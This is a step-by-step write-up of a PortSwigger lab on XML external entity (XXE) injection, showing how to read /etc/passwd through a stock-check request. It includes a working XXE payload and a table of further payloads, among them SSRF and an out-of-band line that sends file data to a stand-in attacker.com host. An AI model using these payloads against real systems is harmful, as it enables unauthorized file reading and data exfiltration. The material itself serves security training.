PortSwigger

Description

This lab has a “Check stock” feature that parses XML input. The application does not disable external entity processing, allowing an attacker to define an external entity that reads local files and have it returned in the response.


Step 1 - Locate the XML Input

Visit any product page (e.g., a jacket or gift). You’ll see a “Check stock” button.

Click it and intercept the request in Burp Suite.

The request looks like this: The application accepts XML input and processes it server-side.

Step 2 - Test for XXE Vulnerability

We need to inject a DOCTYPE declaration that defines an external entity pointing to /etc/passwd, then reference that entity in the productId field.

Original XML:

<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>1</productId>
		<storeId>2</storeId>
	</stockCheck>

Modified XML with XXE payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>2</storeId>
</stockCheck>

Explanation:

  • <!DOCTYPE test [...]> — declares a Document Type Definition
  • <!ENTITY xxe SYSTEM "file:///etc/passwd"> — defines an external entity named xxe that reads the local file /etc/passwd
  • &xxe; — references the entity, causing the server to substitute the file contents

Step 3 - Send the Payload

Replace the entire request body with the modified XML and send it.

The server responds with: The contents of /etc/passwd are returned in the error message.

Step 4 - Lab Solved

The lab automatically detects that you retrieved the file and marks as solved.


Common XXE Payloads

GoalPayload
Read local file<!ENTITY xxe SYSTEM "file:///path/to/file">
Read file (Windows)<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
External HTTP request<!ENTITY xxe SYSTEM "http://attacker.com/xxe">
SSRF<!ENTITY xxe SYSTEM "http://internal-server/admin">
Out-of-band (blind XXE)<!ENTITY xxe SYSTEM "http://attacker.com/xxe?data=%file;">